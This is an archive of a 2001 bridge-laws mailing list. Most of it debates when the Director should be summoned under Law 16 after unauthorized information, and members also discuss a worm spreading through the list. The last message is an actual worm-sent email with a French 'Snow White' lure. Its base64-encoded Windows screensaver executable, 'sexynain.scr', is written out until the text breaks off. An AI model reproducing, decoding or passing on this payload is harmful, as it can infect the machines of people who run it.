From: "Marvin L. French" >> The ACBL ELECTION for L16A1 says, in part: >> >> "They should summon the Director immediately when they believe there may >> have been extraneous information resulting in calls or bids [plays?] >> which could result in damage to their side." >> >> The question is: Doesn't this syntax convey that the TD should be called >> when calls or plays *have been made* that may have been based on >> extraneous information? > >It's very confusing indeed, especially when read in conjunction >with L16A1 and A2. > >L16A1 pertains to the moment when UI is made available. In logic, it >would seem that the ACBL BoD could do one of three things: 1) accept >"reserving rights," 2) forbid reserving rights and say "Don't call the >TD until permitted by L16A2," or 3) forbid reserving rights and say >"Call the TD at once when you believe significant UI has been made >available." > >L16A2 pertains to calls or plays after the UI exists. This law offers >no SO elections. The footnote clearly specifies the time to call the >TD under this law. Clearly??????? Here is L16A2 2. When Illegal Alternative Is Chosen When a player has substantial reason to believe* that an opponent who had a logical alternative has chosen an action that could have been suggested by such information, he should summon the Director forthwith. The Director shall require the auction and play to continue, standing ready to assign an adjusted score if he considers that an infraction of law has resulted in damage. *When play ends; or, as to dummy's hand, when dummy is exposed. The title "When ... Is ...", and the plain text "When ... he should summon the Director forthwith." Both "clearly suggest that the director should be summoned immediately "When a player has substantial reason to believe* that an opponent who had a logical alternative has chosen an action that could have been suggested by such information." The next sentence "The Director shall require the auction and play to continue," confirms that this law contemplates the director being called either during the auction or during the play. Against all these clear indications we have one rather strange contradictory footnote: "When play ends; or, as to dummy's hand, when dummy is exposed." In view of the clear contradiction (which is all that is really clear) the most parsimonious guess as to what is going on is that the footnote was meant to be: "This should be no later than when play ends; or, as to dummy's hand, when dummy is exposed." Which BTW seems to be how the ACBL has read this law. Scott -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 13:28:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f052RCj17508 for bridge-laws-outgoing; Fri, 5 Jan 2001 13:27:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from flash.naxs.net (flash.naxs.net [216.98.64.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f052R0t17441 for ; Fri, 5 Jan 2001 13:27:05 +1100 (EST) Received: from jkuchenhome (as5800-88-197.naxs.com [216.98.88.197]) by flash.naxs.net (8.9.3+Sun/8.9.3) with SMTP id VAA14329 for ; Thu, 4 Jan 2001 21:27:06 -0500 (EST) Message-ID: <003801c076be$d4e95860$c55862d8@jkuchenhome> Reply-To: "John A. Kuchenbrod" From: "John A. Kuchenbrod" To: Subject: Re: [BLML] a French Snow White Date: Thu, 4 Jan 2001 21:25:53 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I've discovered a quite complete description of this worm at: http://www.fsecure.com/v-descs/hybris.shtml Grattan probably has a copy of the virus now; after a machine is infected, incoming messages are scanned. New addresses are sent a copy of the virus after a small delay--I received my personal copy about an hour after my first posting. Hence only today's posters should have personal copies from wandadoo. The only error with F-Secure's description is the "randomness" of the selected language. As David Burn's message indicated earlier, some detection of the language used by a computer is performed to determine the language of the propogated message (English, French, Spanish, Portugese). John Kuchenbrod jkuchen@naxs.net -----Original Message----- From: Grattan Endicott To: bridge-laws@rgb.anu.edu.au ; John A. Kuchenbrod Date: Thursday, January 04, 2001 4:13 PM Subject: Re: [BLML] a French Snow White > >Grattan Endicott <=> >Today is the first day of the rest of your life. > <===> >----- Original Message ----- >From: John A. Kuchenbrod >To: >Sent: Thursday, January 04, 2001 5:23 PM >Subject: [BLML] a French Snow White > > >> Has anyone else received a copy of this French variant *NOT* >through >> BLML? >> >Not I. I received it twice but each time through blml. Each >time I deleted without opening it. It has appeared similarly >on the gester PC - and gone the same way. > > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 14:49:36 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f053mnB28045 for bridge-laws-outgoing; Fri, 5 Jan 2001 14:48:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f053mht28041 for ; Fri, 5 Jan 2001 14:48:43 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Thu, 4 Jan 2001 19:47:58 -0800 Message-ID: <006f01c076ca$59cc3380$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101021604.LAA17526@cfa183.harvard.edu> <00d101c07510$03f52d60$56991e18@san.rr.com> <007401c075a4$37154100$1910f7a5@oemcomputer> <002501c07624$86e92360$978101d5@pbncomputer> <001201c07686$3d3bd340$56991e18@san.rr.com> <001d01c0768f$3c3549a0$059101d5@pbncomputer> Subject: Re: [BLML] Annoyingly irregular Date: Thu, 4 Jan 2001 19:44:34 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Burn wrote: > Marv wrote: > > > The ACBL ELECTION for L16A1 says, in part: > > > > "They should summon the Director immediately when they believe there > may > > have been extraneous information resulting in calls or bids [plays?] > > which could result in damage to their side." > > > > The question is: Doesn't this syntax convey that the TD should be > called > > when calls or plays *have been made* that may have been based on > > extraneous information? > > Yes. The sentence suffers from subjunctivosis: if you believe that > something has happened, then it may (or may not) have happened - the > words "may have been" should be "has been". However, the import of the > words is that before the Director should be summoned, an action must > have been taken that could have been based on extraneous information. To > take a concrete example: > > West North East South > 1S 2H 3S 4H > ...Pass Pass 4S > > The Director should be summoned following East's bid of four spades, not > following West's pass after a hesitation. > > The final clause appears to me unnecessary and to some extent dangerous. > Whether or not an action could damage the opponents, if it is (or may > have been) suggested over a logical alternative by extraneous > information, then it is an irregularity, and (per Law 9) the Director > should be summoned as soon as there is reason to believe that it has > occurred. Thus, even if South knows that he is going to double four > spades for 1100, the Director should still be summoned. Otherwise, it > would be necessary for a player to judge whether an opponent's action > could damage his side before summoning the Director - and that judgement > may in certain circumstances constitute unauthorized information. For > example, in the case above, if South doubles four spades without > summoning the Director, North will know not to bid five hearts, whatever > his hand may be. > > I would use these words: > > "They should summon the Director immediately when they believe there has > been extraneous information on which an opponent could have based a > subsequent action." > > If (and again, I apologise for not having followed the thread closely), > the intention of the ACBL is in fact that the Director should be > summoned as soon as the extraneous information may have been > transmitted, then the words "could have based" in the above should be > replaced by "could base". In the original, the word "resulting" should > be replaced by "which could result", but the sentence would then be so > cumbersome that even the ACBL might hesitate to publish it. > Yes, "could base" or "might base" is probably the intent. Still, that is not in accord with 16A2 and its footnote, which are not optional for SOs. I would rather have 16A1 changed to say that a player should get agreement from the opponents about a break in tempo whenever one that could matter occurs, failing which the TD should be called immediately (probably a waste of time, if the break is denied). No doubt that is what L16A1's author meant to say, but didn't say it well. Accepting that, should L16A2 be changed to permit calling the TD immediately when an opponent takes an action that might have been based on UI? I say no, wait until you see evidence of an infraction, at a time specified by the footnote. Usually there will be no infraction, and calling the TD earlier would waste everyone's time. Besides, calling the TD at the right time avoids the creation of UI through selective TD calls earlier, as David describes. And what if there is evidence that UI was misused, but no damage resulted? Do you have to call the TD? Only if attention has been drawn to it (L9). If any comment (perhaps a snide comment) is made about a possible infraction, the TD must be called, damage or no damage. A delayed TD call does not automatically mean a loss of rights, as some have maintained. However, if the UI has not been agreed, and the TD was not called at the time it occurred, s/he may find it more difficult to determine if there was UI and probably would be less inclined to rule UI. Marv (Who is not a TD) San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 18:07:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f05769l24398 for bridge-laws-outgoing; Fri, 5 Jan 2001 18:06:09 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp.myokay.net (db.myokay.net [195.211.161.152]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f05760t24348 for ; Fri, 5 Jan 2001 18:06:02 +1100 (EST) Received: (qmail 26164 invoked for bounce); 5 Jan 2001 07:05:55 -0000 Received: from dialin-194-29-58-38.frankfurt.gigabell.net (HELO rabbit) (194.29.58.38) by smtp.myokay.net with SMTP; 5 Jan 2001 07:05:55 -0000 Message-ID: <000001c076e6$4d575aa0$263a1dc2@rabbit> From: "Thomas Dehn" To: References: <3.0.32.20010104123524.0072c98c@pullman.com> Subject: Re: [BLML] haha virus Date: Fri, 5 Jan 2001 00:37:19 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "N. Scott Cardell" wrote: > At 11:22 AM 1/4/01 -0500, you wrote: > >The list isn't getting spammed; looks as though M. Beauvillain is > >infected. One header reproduced below. (The other is much the same.) > > > >All of us need to use virus checkers and _NEVER_ open an attachment > >unless you are _certain_ what is in it. (Markus: can majordomo > >automatically delete all attachments before sending messages to the > >list? If so, that would be a good thing IMHO. Or maybe even reject > >messages having attachments and tell the sender.) > > I suggest the following simple solution to the immediate problem. Set the > filter on the BLML list to delete and > not forward all messages from "Hahaha". This won't do, as the hybris worm changes itself dynamically. It can both change the sender of the mail and the mail's text. I have seen five different versions thus far. Thomas -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 18:13:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f057DnH26167 for bridge-laws-outgoing; Fri, 5 Jan 2001 18:13:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from sirene.rz.uni-duesseldorf.de (sirene.rz.uni-duesseldorf.de [134.99.128.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f057Dgt26163 for ; Fri, 5 Jan 2001 18:13:43 +1100 (EST) Received: from unid.uni-duesseldorf.de (Isis70.urz.uni-duesseldorf.de [134.99.138.70]) by neptun.rz.uni-duesseldorf.de (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with ESMTP id <0G6O0086JHEMS3@neptun.rz.uni-duesseldorf.de> for bridge-laws@rgb.anu.edu.au; Fri, 5 Jan 2001 08:13:36 +0100 (MET) Date: Fri, 05 Jan 2001 08:13:52 +0100 From: Richard Bley Subject: Re: [BLML] haha virus In-reply-to: <000001c076e6$4d575aa0$263a1dc2@rabbit> X-Sender: bley@mail.rz.uni-duesseldorf.de To: bridge-laws@rgb.anu.edu.au Message-id: <5.0.2.1.0.20010105081322.00a52d90@mail.rz.uni-duesseldorf.de> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7BIT References: <3.0.32.20010104123524.0072c98c@pullman.com> Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 00:37 05.01.2001 +0100, Thomas Dehn wrote: >"N. Scott Cardell" wrote: > > > > At 11:22 AM 1/4/01 -0500, you wrote: > > >The list isn't getting spammed; looks as though M. Beauvillain is > > >infected. One header reproduced below. (The other is much the same.) > > > > > >All of us need to use virus checkers and _NEVER_ open an attachment > > >unless you are _certain_ what is in it. (Markus: can majordomo > > >automatically delete all attachments before sending messages to the > > >list? If so, that would be a good thing IMHO. Or maybe even reject > > >messages having attachments and tell the sender.) > > I think that would be the best solution. Richard -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 18:44:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f057i6727892 for bridge-laws-outgoing; Fri, 5 Jan 2001 18:44:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f057hxt27888 for ; Fri, 5 Jan 2001 18:44:00 +1100 (EST) Received: from dodona (host213-1-46-87.host.btclick.com [213.1.46.87]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id HAA00281 for ; Fri, 5 Jan 2001 07:43:34 GMT Message-ID: <001401c076eb$712adb00$572e01d5@dodona> From: "Grattan Endicott" To: References: <3.0.32.20010104150551.0072a834@pullman.com> Subject: Re: [BLML] Annoyingly irregular Date: Fri, 5 Jan 2001 07:43:41 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott 'Suspicions amongst thoughts are like bats amongst birds, they ever fly by twilight.' - Francis Bacon. <===> ----- Original Message ----- From: N. Scott Cardell To: Sent: Thursday, January 04, 2001 11:05 PM Subject: Re: [BLML] Annoyingly irregular > > In view of the clear contradiction (which is all that is really clear) the > most parsimonious guess as to what is going on is that the footnote was > meant to be: "This should be no later than when play ends; or, as to > dummy's hand, when dummy is exposed." Which BTW seems to be how the ACBL > has read this law. > +=+ There is no contradiction if one holds, as the drafters of this law held, that without knowing the content of the hand upon which an action occurs you can have no substantial reason but merely a suspicion. When you know the hand you may have a substantial reason to believe, but even then no more than that until the player's explanation of his action is explored. I do have some sympathy, however, for the criticism of the wording of the reference in 16A2 to 'auction and play'; the intention is that the TD shall not attempt to deal with the matter until the hand has been played out, no matter when he is called - because it would be inappropriate (premature) to explore questions of UI when it may yet be judged in the end that UI has not been used. What causes a player to call the TD before the hand has been completed may be (a) 16A1 procedure, (b) exposure of dummy, or (c) a player's suspicion causing him to call the Director in ignorance of correct procedure under the law and its footnote. There could be a better wording of the provision that the Director waits until the hand has been completed before investigating a question raised. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 21:39:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f05AcbX03953 for bridge-laws-outgoing; Fri, 5 Jan 2001 21:38:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from xion.spase.nl (router.spase.nl [213.53.246.249]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f05AcUt03922 for ; Fri, 5 Jan 2001 21:38:31 +1100 (EST) Received: by xion.spase.nl with Internet Mail Service (5.5.2650.21) id ; Fri, 5 Jan 2001 11:19:53 +0100 Message-ID: From: Martin Sinot To: bridge-laws@rgb.anu.edu.au Subject: RE: [BLML] a French Snow White Date: Fri, 5 Jan 2001 11:19:34 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >Has anyone else received a copy of this French variant *NOT* through >BLML? > >John Kuchenbrod >jkuchen@naxs.net Yup. I did. After Olivier sent me a mail about the infection. And I'm pretty sure I'm not on Olivier's address list. One outgoing mail seems to be enough for the virus. -- Martin Sinot Nijmegen martin@spase.nl -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 22:20:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f05BKX618029 for bridge-laws-outgoing; Fri, 5 Jan 2001 22:20:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from citronier.wanadoo.fr (smtp-abo-6.wanadoo.fr [193.252.19.222] (may be forged)) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f05BKIt17965 for ; Fri, 5 Jan 2001 22:20:19 +1100 (EST) Date: Fri, 5 Jan 2001 22:20:19 +1100 (EST) Received: from beauvillain (193.248.6.167) by citronier.wanadoo.fr; 5 Jan 2001 12:20:11 +0100 Message-ID: <3a55adf13a5ade08@citronier.wanadoo.fr> (added by citronier.wanadoo.fr) From: Hahaha Subject: [BLML] Les 7 coquir nains MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VEX6J4XAV85EF892VKPU745Q74XAN41Y7" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----VEX6J4XAV85EF892VKPU745Q74XAN41Y7 Content-Type: text/plain; charset="us-ascii" C'etait un jour avant son dix huitieme anniversaire. Les 7 nains, qui avaient aidé 'blanche neige' toutes ces années aprčs qu'elle se soit enfuit de chez sa belle mčre, lui avaient promis une *grosse* surprise. A 5 heures comme toujours, ils sont rentrés du travail. Mais cette fois ils avaient un air coquin... ----VEX6J4XAV85EF892VKPU745Q74XAN41Y7 Content-Type: application/octet-stream; name="sexynain.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="sexynain.scr" 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 EHMIi1UQ6BkAAACNlfj+///oDgAAAP9F+P9N/HnaYcnCEACQjb14////M8CJB4lHBIlHCIlHDIlH EIlHFIlHGIlHHIlHIIlHJIlHKIlHLIlHMIlHNIlHOIlHPIlHQIlHRIlHSIlHTIlHUIlHVIlHWIlH XIlHYIlHZIlHaIlHbIlHcIlHdIlHeIlHfI2F+P7//+gCAgAAh9vRJ9FXBNFXCNFXDNFXENFXFNFX GNFXHNFXINFXJNFXKNFXLNFXMNFXNNFXONFXPNFXQNFXRNFXSNFXTNFXUNFXVNFXWNFXXNFXYNFX ZNFXaNFXbNFXcNFXdNFXeNFXfOisAQAAjYX4/v//D6MYD4PFAAAAiwKLSgQBBxFPBItCCItKDBFH CBFPDItCEItKFBFHEBFPFItCGItKHBFHGBFPHItCIItKJBFHIBFPJItCKItKLBFHKBFPLItCMItK NBFHMBFPNItCOItKPBFHOBFPPItCQItKRBFHQBFPRItCSItKTBFHSBFPTItCUItKVBFHUBFPVItC WItKXBFHWBFPXItCYItKZBFHYBFPZItCaItKbBFHaBFPbItCcItKdBFHcBFPdItCeItKfBFHeBFP fOjaAAAAh9tLD4nB/v//iweLXwSLTwiLdwyJAolaBIlKCIlyDItHEItfFItPGIt3HIlCEIlaFIlK 